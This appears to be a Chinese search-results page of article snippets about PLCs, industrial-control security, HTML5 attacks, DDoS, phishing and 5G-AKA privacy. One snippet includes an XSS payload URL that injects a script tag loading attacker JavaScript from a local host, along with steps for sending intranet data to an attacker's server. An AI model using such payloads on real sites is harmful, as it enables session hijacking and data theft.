- 综合排序
- 最热优先
- 最新优先
- 来自专栏FreeBuf
Modbus PLC攻击分析：Python和Mbtget读写PLC
由于其设计简单、容易开发的特性，使得Modbus TCP 协议极易被恶意攻击者利用，从而对工业控制系统造成破坏和损失。 配置好串口之后，接着来配置我们的模拟器Modbus Slave（PLC），为什么要用模拟器呢？ 1、选择连接方式为Serial Port（串口） 2、串口设置为上图的COM1->COM2 3、通信方式选择RTU 4、波特率9600、数据位8位、无校验位、1位停止位默认不变 5、模拟器的寄存器上设置好供 虽然TCP中没有了CRC校验，但是数据包中已经进行了校验，再加上工业PLC网络大部分不对外开放，所以Modbus TCP通信也是相对比较安全的，但是如果攻击者进入了工业系统内网中，那后果不堪设想。 同时也暴露出Modbus TCP协议目前存在缺乏认证机制、无授权访问控制机制、无防重放攻击机制以及缺乏机密性保护等问题。
3.8K20发布于 2020-06-04 - 来自专栏FreeBuf
一种新型攻击技术出现，可将PLC武器化
但在 Evil PLC 攻击中，控制器充当达到目的的手段，允许攻击者破坏工作站，访问网络上的所有其他 PLC，甚至篡改控制器逻辑。 此时，攻击者的思路呼之欲出，它们可以PLC作为支点来攻击编程和诊断它的工程师，并获得对 OT 网络的更深入访问，或入侵系统窃取数据，或植入恶意软件、后门程序等等。 具体攻击方法如下： 攻击者会识别面向互联网的PLC并故意引发故障，以引诱那些没有防备心理的工程师使用工程工作站软件进行故障排除，并和那些已经被攻击者植入恶意软件的PLC进行连接，这也就让攻击者建立了一个攻击的桥头堡 因此，攻击者创造了一种全新的攻击场景，即修改存储在PLC上未使用的数据，以此操纵工程软件。由于软件完全信任来自PLC的数据，因此也无需执行广泛的安全检查，这给了攻击者可趁之机。 最后，Claroty也指出，Evil PLC也可以用来防御，即将其作为一个蜜罐，引诱攻击者连接到诱饵 PLC，从而导致攻击者机器受到危害。
45220编辑于 2023-03-30 - 来自专栏物联网wtblnet.com
PLC, PLC远程监控|PLC工业网关
跟着工业自动化的不断发展，PLC作为工业操控中不行缺少的一部分，在工业生产中得到了广泛的使用，可是它的保护检修办法和使用技巧，使得许多工程师都不知何解，PLC, PLC远程监控|PLC工业网关 物通博联总结了工控修理那些事儿之 000000.jpg 一、PLC输入与输出 一只小小的PLC灵活地操控着一个复杂体系，所能看到的是上下两排错开的输入输出继电器接线端子、对应的指示灯及PLC编号，就像一块有数十只脚的集成电路。 如果这时电磁阀动作，那么问题在PLC输出点上。由于电笔有时会虚报，可用另一种办法剖析，用万用表电压档量PLC输出点与公共端的电压，电压为零或挨近零，阐明PLC输出点正常，毛病点在外围。 五、PLC本身毛病判断 一般来说，PLC是极其牢靠的设备，出毛病率很低，但由于外部原因，也可导致PLC损坏。 因而，咱们查找电气毛病点，要点要放在PLC的外围电气元件上，不要总是怀疑PLC硬件或程序有问题，这对快速修理好毛病设备、快速恢复生产是十分重要的，因而PLC操控回路的电气毛病检修，要点不在PLC本身，而是
2.1K20发布于 2019-11-29 - 来自专栏Hello工控
最全的PLC通讯协议解析之EtherCAT篇(5)
我们先回顾上几期的内容： 1.EtherCAT概述：最全的PLC通讯协议解析之EtherCAT篇(1) 2.EtherCAT与EtherNet：最全的PLC通讯协议解析之EtherCAT篇(2) 3.EtherCAT 运行机制：最全的PLC通讯协议解析之EtherCAT篇(3) 4.EtherCAT同步性（分布式时钟):最全的PLC通讯协议解析之EtherCAT篇(4) 我们这期讨论EtherCAT的性能。 得益于EtherCAT的On-the-fly运行机制和独特的EtherCAT通讯帧结构，他的性能相比较而言，目前是最优的： 上图来源于ETG中国2009年资料，原文下载可以见文章链接： 最全的PLC通讯协议解析之
1K11编辑于 2024-06-25 - 来自专栏Hello工控
Soft PLC（软PLC）会成为未来的主流PLC吗？
Soft PLC（软PLC），这个概念提出也有一段时间了，早在2020年，我们开始做CODESYS相关课程的时候，就已经在使用软PLC了，到了现如今的工控领域，软PLC+EtherCAT主站能替换掉国内绝大部分的应用场景了 软PLC（softPLC）会取代传统的硬PLC吗？ 软PLC 的优点 加快PLC上市：将一个电路板转换为 PLC（2 天的集成）与添加通信协议一样容易。电路板和应用程序的开发可以并行进行。像CODESYS中国区宣传的标语就是：”快速开发PLC“！ 标准符合性：软 PLC 允许使用 5 种 IEC61131 语言，并且由于遵守协议标准（IEC61850、IEC101/104、DNP3 等），认证过程得以简化。 软PLC的“创新者的困境” 软 PLC 代表了一种颠覆性技术，正在为现有的“硬 PLC”供应商带来经的“创新者的困境”。
1.5K10编辑于 2025-06-13 - 来自专栏FreeBuf
网络攻击瞄准个人银行，谈谈5个典型攻击手段
虽然在过去几年针对银行的攻击手段变得更加复杂，但绝大多数攻击依旧依赖于用户欺骗。例如，针对银行的一种常见网络钓鱼攻击，就是将目标定向到恶意克隆的银行网站。 这一切都是为了引导用户犯错，而网络钓鱼还只是电子银行时代应该防范的攻击之一。以下介绍了黑客通过用户攻击银行的五种方式： SMS swaps攻击 短信诈骗在银行业已经非常普遍。 MITM攻击/中间人攻击 Man In-The-Middle（MITM）攻击由来已久，但非常有效，攻击者瞄准的是基础设施没有被充分保护的银行平台。 这种攻击通常用于攻击者所熟悉的组织，攻击者利用内部了解针对特定的负责付款的员工发起攻击。比如，他们可能会向会计发送一封电子邮件，表明是CFO要求他们支付一笔看似正常的款项。 以上这些攻击操作都依赖于最终的用户令牌，而银行如果MFA控件到位，攻击者将无法拿到这些令牌！
1.5K20发布于 2019-08-20 - 来自专栏FreeBuf
远程震网攻击又要来了？针对PLC的恶意软件已出现
近日，来自佐治亚理工学院（GT）的安全研究人员发布了一篇论文，详细介绍了他们发现的一款针对PLC的恶意软件，黑客借此对工业控制系统（ICS）发起类似远程震网式攻击。 在传统的PLC的时代，攻击者可以针对控制逻辑层或固件层。固件攻击可以提供高级别的设备控制，并且难以被发现，但难点在于恶意软件难以部署。而控制逻辑层部署恶意软件更容易，但也更容易被发现。 尽管这些现代PLC可以为组织带来许多好处，但佐治亚理工学院的安全研究人员警告说，它们也可以显著扩大ICS的攻击面。 一旦攻击者完成了攻击，该恶意软件还可以通过自我销毁、良性载荷覆盖、注销账户信息，甚至是恢复出厂设置来掩盖其痕迹。 而针对这些控制器的攻击涉及利用新发现或已知的漏洞，在某些情况下需要FTP密码、不安全的协议或内部人员进行攻击。
85710编辑于 2024-03-07 - 来自专栏Hello工控
一文搞懂Hard PLC、Soft PLC和Virtual PLC（vPLC）!
可能有些朋友对于这几种类型的PLC，不是特别熟悉，我们实际上已经介绍过软PLC： Soft PLC（软PLC）会成为未来的主流PLC吗？ 为什么选择SoftPLC，而不选择传统PLC了呢？ 这期用一文让你搞懂Hard PLC、Soft PLC和Virtual PLC（vPLC）! Hard PLC硬件PLC 硬 PLC（Hard PLC或基于硬件的 PLC）——一种专为工业自动化和控制任务设计的专用独立计算设备。 硬 PLC 与供应商特定的硬件紧密耦合，旨在仅与专有系统独家运行。 这里PLC实际就是我们目前接触的常规PLC，比如西门子SMART200系列、汇川H5U系列等等。 关于常规的PLC，大家都非常了解，我们这里不做介绍。 Soft PLC 软PLC 除了上述Hard PLC外，还有目前应用在工业IPC比较多的是Soft PLC，软PLC的方案。
1.5K10编辑于 2025-12-23 - 来自专栏全栈程序员必看
PLC基础知识(PLC入门必看)
2 PLC的构成 从结构上分，PLC分为固定式和组合式（模块式）两种。固定式PLC包括CPU板、I/O板、显示面板、内存块、电源等，这些元素组合成一个不可拆卸的整体。 模拟量：按信号类型分，有电流型（4-20mA,0-20mA）、电压型（0-10V,0-5V,-10-10V）等，按精度分，有12bit,14bit,16bit等。 5 电源模块 PLC电源用于为PLC各模块的集成电路提供工作电源。同时，有的还为输入电路提供24V的工作电源。电源输入类型有：交流电源（220VAC或110VAC），直流电源（常用的为24VDC）。 7 PLC系统的其它设备 7.1 编程设备：编程器是PLC开发应用、监测运行、检查维护不可缺少的器件，用于编程、对系统作一些设定、监控PLC及PLC所控制的系统的工作状况，但它不直接参与现场控制运行。 PLC具有通信联网的功能，它使PLC与PLC 之间、PLC与上位计算机以及其他智能设备之间能够交换信息，形成一个统一的整体，实现分散集中控制。
3K23编辑于 2022-10-03 - 来自专栏知识分享
关于PLC
学电气的一方面是单片机,一方面是PLC,,,,常常看到说选择比努力更重要,,单片机都很熟悉了,我就来介绍一下PLC..... 吹牛开始: 首先:PLC适合学习能力强的人学习,PLC考验的是实际解决问题的能力,PLC和单片机不一样更多的是"使用"而非"开发" 自己呢大一的时候开始学的三菱的PLC(因为家庭原因,最先接触的是PLC ),然后呢又学的西门子200的PLC,然后还有松下的PLC(当时公司的项目,人家韩国的公司要求必须用韩国品牌的,信仰....) 好了现在说一下PLC,PLC呢一般呢都是控制自身的触点吸合断开,然后再用这些触点去控制别的 PLC自身有许多输入和输出触点--三菱的一般都是X是输入,,,Y是输出 ? 再者关于PLC和触摸屏结合 其实吧,,咋说呢,,, 工控屏会提供开发这个工控屏的软件,然后就是拖拽一些按钮,文本框啥子的,然后显示 怎么和自己的PLC结合呢,,,,只要选择自己的PLC型号就行了 列如
1.8K90发布于 2018-04-18 - 来自专栏安恒信息
揭密HTML 5带来的攻击手法
HTML5 是下一代的HTML，HTML5赋予网页更好的意义和结构。更加丰富的标签将随着对RDFa的，微数据与微格式等方面的支持，构建对程序、对用户都更有价值的数据驱动的Web。 基于HTML5开发的网页APP拥有更短的启动时间，更快的联网速度。本文详细介绍了HTML5的普及，带来的新的安全威胁。 利用跨站脚本攻击或浏览器地址栏注入javascript以后，Shell of the Future可进行劫持会话。 txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E 7、当用户点击之后，攻击者的IP地址将会发送给攻击者 5、该javascript代码会发送一个XMLHttpRequest请求。 6、分析返回的数据包，并把它发送到攻击者的服务器。 7、攻击者获取到公司内部站点的相关信息。
1.1K50发布于 2018-04-09 - 来自专栏ascii0x03的安全笔记
HTML5离线缓存攻击测试
攻击者由安装有XAMPP服务器的桥接虚拟机表示，IP为192.168.1.154。 攻击者可以访问本目录的demo_html.appcache获得缓存文件，在同名文件加入自己的恶意代码（这里是弹出hacked对话框），利用DNS欺骗、中间人等方式，这里将HOSTS文件更改为192.168.1.154 接下来，修改HOSTS文件为192.168.1.113 www.cache-test.com，模拟用户已经回到了安全的上网环境下，当用户再次访问该合法网站时，仍然出现的是上述攻击者的页面。 通过Wireshark抓包可以看到，浏览器仅仅请求了demo_html.appcache，离线缓存攻击成功。注意在实验时需要排除浏览器本身缓存的影响，仅仅刷新页面会收到服务器返回的304响应。 由于时间有限，并没有用爬虫去找使用了HTML5离线缓存的网站，仅仅做了这种攻击的验证实验，若有大家可以推荐几个来测试。 主页htm： <!
2.2K90发布于 2018-04-12 - 来自专栏剑指工控
AB PLC和Siemens PLC通讯-无需协议网关
背景：传统西门子PLC和AB PLC通讯一般会采用通讯网关，因为西门子PLC采用S7协议而AB PLC采用CIP协议，两种不同协议的情况下需要协议网关转换才可以通讯。 随着PLC领域的更加开放和融合，西门子PLC和AB PLC均提供open tcp通讯方式，所以市面上就出现利用open tcp接口来完成自定义协议的两种PLC的通讯，但是这种通讯方式需要用户对于TCP通讯的机制十分熟悉 的数组 使用T_COMM通讯库： 首先打开西门子编程环境 TIA V14，然后选择打开库 选择文章所提供的T_COMM库 然后所拽到你的项目中，并且放置在你的梯形图中 然后你再打开Studio 5K 为Client的情况，T_COMM 两边的库的参数设置如下： 如果设定西门子PLC为Server也就是监听的情况，T_COMM两边库的参数设置如下： 最后两边PLC均把程序和T_COMM库，下载到PLC TIA选择下载： Studio5K选择下载： 通讯库下载： S7-FB-T_COMM.zip链接：https://pan.baidu.com/s/16n_niZsXMuwwAGXJFXISLA 提取码
4.5K11发布于 2021-11-09 - 来自专栏全栈程序员必看
plc编程小技巧_plc编程入门培训
PLC是一种在工业中被广泛应用的自动控制元件。然而PLC应用与编程人才短缺已经成为制约我国自动控制领域发展的瓶颈。 通过学习PLC可编程控制器程序设计使学员掌握可编程序控制器的工作原理和PLC控制系统硬件软件的设计方法，可编写复杂的PLC程序，为从事PLC控制系统的设计、调试和改造工作打下基础。 有的初学者在理论上花了很多功夫，结果半年下来还是没有把PLC搞懂，其实他们只是缺少了一些PLC的实践经验，只要再进行一些实际的梯形图编写、程序下载、调试等操作，增加对PLC的感性认识，很快就可以掌握PLC 开始阶段可以先学习一种品牌的PLC，因为所有的PLC原理都是差不多的，掌握了一种PLC其它的只要翻阅一下手册也就能上手使用了。 PLC扫描周期和响应时间 PLC在运行状态时，执行一个扫描操作所需要的时间为一个周期，这个是PLC的重要指标之一，其值为0.5~100ms。
1.4K31编辑于 2022-10-04 - 来自专栏FreeBuf
从5月11号网易被攻击谈起：新型DDoS攻击LFA
5月11日晚上9时许，网易的大量用户发现访问网易新闻出现问题，相应的，有很多游戏用户报告说游戏掉线严重。一时间，有关“网易大楼着火”的谣传甚嚣。 图1 网易新闻客户端微博内容 这次攻击，相较于以往的DDoS攻击，官方描述比较特别：“骨干网络遭受攻击”。笔者敏锐地意识到这是最近学术界才提出的LFA攻击，攻击范例比较少。 新型的DDoS攻击：Link Flooding Attack（链路洪泛攻击） LFA，可以认为是一种新型的DDoS攻击，全称Link Flooding Attack（链路洪泛攻击）。 根据LFA的一次攻击实例,笔者推测，攻击者可能攻击了网易机房的上层交换节点或其他类似机构（甚至可能是IXP，ISP之间的交换节点）。 总结起来，LFA的攻击具有如下特点： 1.低密度流量攻击，难以检测 2.攻击成本低 3.持续久，攻击者可以不停切换攻击link 短期内解决这个问题的关键是负载均衡、加大带宽、增加链路，深层次地看，我们应该重新考虑改进我们网络的基础架构了
2.7K70发布于 2018-02-06 - 来自专栏重庆的技术分享区
5种类型的员工经常受到网络钓鱼攻击的攻击
现代攻击者已经有组织的 从用户及其系统破坏，转向更容易的目标。网络钓鱼，比如黑客攻击活动，将伪装成合法流量的欺诈性电子邮件发送，是主要技术。 当这封邮件看起来是来自朋友或高层管理人员的时候，员工更自然地会信任它，并被钓鱼攻击吸引住。毕竟，谁会对老板说“不”? 相关：每个企业家都需要了解的7层网络安全层 这些攻击的总成本是数十亿美元。 他们的前线角色和特权关系鼓励攻击者将他们视为可以放弃王国钥匙的无障碍目标。对助理的攻击通常以另一位执行官的请求的形式出现，通常要求审查附件或发送财务信息。 5.任何员工 事实的真相是，大规模的网络钓鱼攻击和以往一样流行。在你的公司里，从首席执行官到入门级助理，任何人都可能成为网络钓鱼攻击的对象。 拥有响应可疑电子邮件的安全策略和公司范围的备份策略也可以降低攻击风险。 了解这些用户以及攻击者可能使用的诱饵使得安全意识和教育更具针对性，有趣和有效。
1.3K20发布于 2018-08-01 - 来自专栏企鹅号快讯
PLC的编程语言以及PLC相关常见缩写
虽然梯形逻辑是最常用的PLC编程语言，但并不是唯一的。下表列出了用于编程PLC的一些语言。 梯形图（LD）传统梯形图逻辑是图形化编程语言。 Flow_Rate：= 50.0 + Offset_A1; 否则 Flow_Rate：= 100.0; Steam：= ON End_If; 指令列表（IL）：基于类似指令列表的低级“汇编程序”语言，在当今众多的PLC 下面列出了在研究或使用PLC时看到的常用缩略语列表。
4.6K50发布于 2018-03-01 - 来自专栏绿盟科技研究通讯
5G安全：5G-AKA链接攻击及对策
然而，5G-AKA很容易受到来自主动攻击者的链接攻击，使用户的隐私处于危险之中。 5G-AKA协议在隐私保护方面易受链接攻击的缺陷，提出了一种基于密钥封装机制的5G-AKA改进方法来保护隐私，同时兼容现有5G标准，能够在不更换用户SIM卡、保持现有的5G服务网络部署的基础上抵御链接攻击 攻击者不仅可以跟踪高价值的目标用户，还可以获取到5G AKA会话中的SUPI，严重威胁到了5G系统的安全性。 目前在5G-AKA中已经发现了三种类型的链接攻击[2]。 如何使5G-AKA抵御链接攻击 本章主要根据5G-AKA协议遭受链接攻击的根本原因，提出了一些改进建议，使用户隐私在面对主动攻击者的链接攻击时可以得到更好的保护，在对5G-AKA协议修改做到最小的同时， 总结 本文首先介绍了5G-AKA的认证流程及其可能面临的链接攻击，然后分析了5G-AKA协议中链接攻击形成的根本原因，最后针对链接攻击介绍了5G-AKA协议的改进方法。
2.8K30编辑于 2022-11-14 - 来自专栏全栈程序员必看
PLC编程基础
（3）保存工程 当一个新的PLC被添加到工程中的时候，将创建以下空表： 1）空的本地符号表；2）全局符号表；3）IO表；4）PLC内存数据；5）PLC设置数据。 5）在名称或值列表栏中选择‘AmberOnlyTimerDone’，然后选择确定按钮。注：现在沿着梯级将显示一个红色的记号，这表明这个梯级没有被完成，出现了一个错误。 5） 5） 选择工具栏上面的下载按钮，将显示下载选项对话框。 6） 6） 设置程序栏，并单击确认按钮。 4．从PLC传送程序 按照下列步骤将PLC程序上传。 5．工程程序和PLC程序的比较 按照以下步骤来比较工程程序和PLC程序。 1）选择工程工作区中的PLC对象。 2）选择工具栏中的与PLC进行比较按钮，将显示比较选项对话框。 5）当对结果满意时，在工具栏中选择传送在线编辑修改按钮，所编辑的内容将被检查并且被传送到PLC。. 6）一旦这些改变被传送到PLC，编辑区域再次变成只读。
4.1K11编辑于 2022-10-29 - 来自专栏ascii0x03的安全笔记
HTML5离线缓存攻击测试（二）
经过昨天的测试，发现使用离线缓存的网站会被攻击。但是，不使用离线缓存的网站就真的不会受到这样的攻击么？ （很郁闷相同的操作为啥有时候结果不一样，不过大部分还是造成了离线缓存攻击的效果。） 但是，百度也有https的版本，若访问https攻击实验就不会成功。 ? 既然百度可以，那么支付宝的页面呢？ 不知道使用https进行离线缓存攻击会不会成功。 ? 除了百度和支付宝，还用网易的126.com做了实验。 个人认为，对于类似百度网站这样的服务器设置，会导致缓存攻击成功，感觉是浏览器实现时的一个bug。如果支付宝https能被离线缓存攻击，那么危害性还是很大的。
2.5K60发布于 2018-04-12
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号